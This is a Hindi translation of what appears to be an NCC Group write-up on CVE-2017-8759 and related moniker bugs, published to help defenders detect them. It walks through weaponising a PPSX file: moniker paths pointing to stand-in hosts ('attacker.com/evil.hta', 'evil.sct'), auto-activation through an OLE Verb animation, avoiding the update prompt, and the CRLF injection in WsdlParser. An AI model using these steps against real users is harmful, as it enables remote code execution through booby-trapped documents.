nccgroup/cve-2017-8759NCC Group द्वारा CVE-2017-8759 का विश्लेषण और शोषण, साथ ही आगे के परिष्कार
यह रेपो Microsoft PowerPoint के लिए CVE-2017-8759 के नमूना एक्सप्लॉइट्स के साथ-साथ एक विवरण भी शामिल करता है कि समान कमजोरियों का शोषण उन्हीं तकनीकों से कैसे किया गया था, और किया जा सकता है।
इस रेपो को प्रकाशित करने का उद्देश्य वैकल्पिक एक्सप्लॉइटेशन तकनीकों को उजागर करना है जिनके बारे में डिफेंडर वर्तमान में अनजान हो सकते हैं। इन वैकल्पिक तकनीकों को उजागर करके, हम आशा करते हैं कि डिफेंडर मजबूत डिटेक्शन लागू कर सकें और गलत सकारात्मक परिणामों (अन्य moniker एक्सप्लॉइट्स को गलती से CVE-2017-0199 के रूप में पहचानने के मामले में) और गलत नकारात्मक परिणामों (जहां केवल RTF डिटेक्शन पर ध्यान केंद्रित किया जाता है) दोनों से बच सकें।
अप्रैल में जब मुझे खबर मिली कि एक नई बिना पैच वाली कमजोरी का वास्तविक दुनिया में शोषण किया जा रहा है, तो मैंने एक्सप्लॉइट को फिर से बनाने का प्रयास किया ताकि कमजोरी सार्वजनिक होने से पहले ही डिटेक्शन नियम बनाए जा सकें। हालाँकि, उस समय मेरे पास केवल FireEye और McAfee ब्लॉग पोस्टों से कमजोरी का विवरण था। सार्वजनिक विवरण की कमी के कारण, मैं अंततः कमजोरी का शोषण एक पूरी तरह से अलग विधि से करने पहुँचा (जैसा कि बाद में पता चला), जो वास्तविक दुनिया में देखे गए "RTF URL Moniker" एक्सप्लॉइट द्वारा उपयोग की गई विधि से भिन्न थी।
लगभग एक महीने बाद, Haifei Li ने अपने SyScan360 वार्ता में दूसरी कमजोरी (उर्फ "PPSX Script Moniker") को उजागर किया, जिसे उन्होंने जनवरी 2017 में पहचाना और रिपोर्ट किया था। इसे भी उसी CVE-2017-0199 पैच के तहत ठीक किया गया था, लेकिन इसका शोषण (लेखक द्वारा और बाद में वास्तविक दुनिया में) PPSX फ़ाइल प्रारूप का उपयोग करके किया गया। इस बिंदु पर, मैं अभी भी PPSX के माध्यम से URL moniker बग का उपयोग करने वाले किसी भी वास्तविक-दुनिया के हमले से अनजान हूँ - हालाँकि दोनों बग एक ही CVE के तहत ठीक किए जाने के कारण, इन एक्सप्लॉइट्स की डिटेक्शन को लेकर कुछ भ्रम था (और अभी भी है) (इस पर बाद में और अधिक)।
अब सीधे सितंबर 2017 पर आते हैं, जब FireEye ने एक और कमजोरी खोजी जो Microsoft Word में RTF प्रारूप का उपयोग कर रही थी। इसने मुझे अपने पिछले "PPSX URL Moniker" एक्सप्लॉइट को फिर से देखने के लिए प्रेरित किया ताकि यह जांचा जा सके कि क्या नया "SOAP moniker" बग भी उसी PPSX तकनीक से शोषण योग्य था।
जैसा कि ऊपर उल्लेख किया गया है, पिछली कमजोरी (CVE-2017-0199) वास्तव में दो अलग-अलग कमजोरियाँ थीं, जिन्हें Microsoft ने उसी CVE संख्या के तहत पैच किया था। पहली (उर्फ "URL moniker" बग) का शोषण RTF का उपयोग करके किया गया था, जबकि दूसरी (उर्फ "script moniker" बग) ने वास्तव में पूरी तरह से अलग तकनीक का उपयोग किया और इसका शोषण OOXML प्रारूप, विशेष रूप से PPSX का उपयोग करके किया गया।
जैसा कि पहले भी उल्लेख किया गया है, OOXML तकनीक केवल script moniker कमजोरी के लिए विशिष्ट नहीं है और इसका उपयोग "URL moniker", "Script moniker" और नई "SOAP moniker" कमजोरी का शोषण करने के लिए किया जा सकता है।
OOXML में एक्सप्लॉइटेशन काफी सीधा है और कमजोर ऑब्जेक्ट को स्वचालित रूप से सक्रिय करने के लिए कुछ तरकीबों का लाभ उठाता है। पहले मैं URL moniker एक्सप्लॉइट को कवर करूँगा, और फिर समझाऊँगा कि इसे script और soap monikers (और भविष्य में संभावित रूप से और अधिक) दोनों के साथ काम करने के लिए कैसे अपडेट किया जा सकता है।
पहले एक फ़ाइल का लिंक एम्बेड किया जाना चाहिए (जिसे StdOleLink या OLE2Link कहा जाता है)। मैंने अपने एक्सप्लॉइट में एक PowerPoint फ़ाइल के लिंक का उपयोग किया - जैसा कि नीचे दिखाया गया है। मॉनिकर को सक्रिय करने के लिए बाद में इसकी आवश्यकता होती है।
लिंक रखे जाने के बाद, पथ को moniker स्ट्रिंग शामिल करने के लिए संशोधित करने की आवश्यकता है। "URL moniker" बग के मामले में, यह सीधे HTA फ़ाइल में URL जोड़ने जितना सरल है (यानी "http://attacker.com/evil.hta")। Script moniker संस्करण के लिए आप "script:https://attacker.com/evil.sct" स्ट्रिंग का उपयोग कर सकते हैं। लिंक किए गए ऑब्जेक्ट का फ़ाइल-पथ निम्नलिखित स्थान पर संग्रहीत होता है:
ppt\slides\_rels\slide1.xml.rels
लिंक किए गए ऑब्जेक्ट के सक्रिय होने पर कमजोरी को ट्रिगर करने के लिए इसे केवल moniker स्ट्रिंग में बदलना पर्याप्त है। हालाँकि, जब तक आप कोई अन्य तरकीब नहीं अपनाते, यह स्वचालित रूप से नहीं होता है।
ऑब्जेक्ट को स्वचालित रूप से सक्रिय करने के लिए, आप उस चीज़ का उपयोग कर सकते हैं जिसे "OLE Verb" कहा जाता है। सीधे शब्दों में कहें तो, यह PowerPoint को ऑब्जेक्ट को "सक्रिय" करने का कारण बनता है, IMoniker::BindToObject() विधि को कॉल करता है, जिसके परिणामस्वरूप अंततः आपका कोड निष्पादित होता है (मॉनिकर के आधार पर, इसके बाद विभिन्न पथ अपनाए जाते हैं)।
OLE Verb का उपयोग करने के लिए, बस एम्बेडेड ऑब्जेक्ट का चयन करें और यहाँ जाएँ:
Animations -> Add Animation -> OLE Action Verbs -> Open
OLE Verb एनीमेशन बन जाने के बाद, आप "Start: with previous" का चयन कर सकते हैं ताकि यह सुनिश्चित हो सके कि स्लाइडशो शुरू होते ही ऑब्जेक्ट सक्रिय हो जाए।
इस बिंदु पर, यदि आप दस्तावेज़ को PPTX के रूप में सहेजकर खोलना चुनते हैं, तो आपको लिंक अपडेट करने के लिए एक प्रॉम्प्ट दिखाई देगा। एक्सप्लॉइटेशन परिदृश्य के दृष्टिकोण से यह अवांछनीय है।
इससे बचने के लिए, आप फ़ाइल को इसके बजाय PPSX (PowerPoint slideshow) फ़ाइल के रूप में सहेज सकते हैं। इससे स्लाइडशो खोलने पर स्वचालित रूप से शुरू हो जाएगा (और इस प्रकार OLE Verb आपके कोड को निष्पादित करने के लिए ट्रिगर हो जाएगा)।
जैसा कि FireEye ब्लॉग पोस्ट में वर्णित है, कमजोरी वास्तव में Office में नहीं बल्कि .NET फ्रेमवर्क में है। यह कई address परिभाषाओं वाली WSDL फ़ाइल को पार्स करते समय कोड इंजेक्शन समस्या के कारण है। यदि CRLF अनुक्रम इंजेक्ट किया जाता है, तो उत्पन्न c# फ़ाइल में मनमाना कोड जोड़ना संभव है, जिसे बाद में DLL में संकलित किया जाता है और Office एप्लिकेशन द्वारा लोड किया जाता है।
यह बग स्वयं System.Runtime.Remoting के WsdlParser वर्ग के IsValidUrl विधि में मौजूद है। CVE-2017-8759 पैच से पहले, यह विधि CRLF वर्णों की जाँच करने में विफल रहती है और केवल अन-सैनिटाइज़्ड स्ट्रिंग लौटाती है (स्ट्रिंग के ठीक से कोटेड होने को सुनिश्चित करने के बाद), जिसे बाद में csc.exe द्वारा संकलन के लिए .cs फ़ाइल में लिखा जाता है। इसका मतलब है कि यदि कोई हमलावर \r\n युक्त URL पास करता है, तो वे उत्पन्न C# फ़ाइल में मनमाना कोड इंजेक्ट कर सकते हैं। CRLF इंजेक्शन के काम करने का कारण यह है कि आमतौर पर, जब कई address परिभाषाओं वाली WSDL फ़ाइल पार्स की जाती है, तो PrintClientProxy विधि नीचे दिखाए अनुसार बाद की परिभाषाओं को कमेंट करने का प्रयास करेगी।
अनपैच्ड IsValidUrl:
PrintClientProxy:
यहाँ समस्या यह है कि द्वितीयक address URL को कमेंट की गई पंक्ति में जोड़ने से पहले IsValidUrl अभी भी उस पर कॉल किया जाता है। यदि कोई हमलावर दूसरी address परिभाषा में CRLF वर्ण जोड़ता है, जब कोड IsValidUrl द्वारा पार्स किया जाता है, तो वे कमेंट की गई पंक्ति से बाहर निकलकर अपना स्वयं का C# कोड इंजेक्ट कर सकते हैं।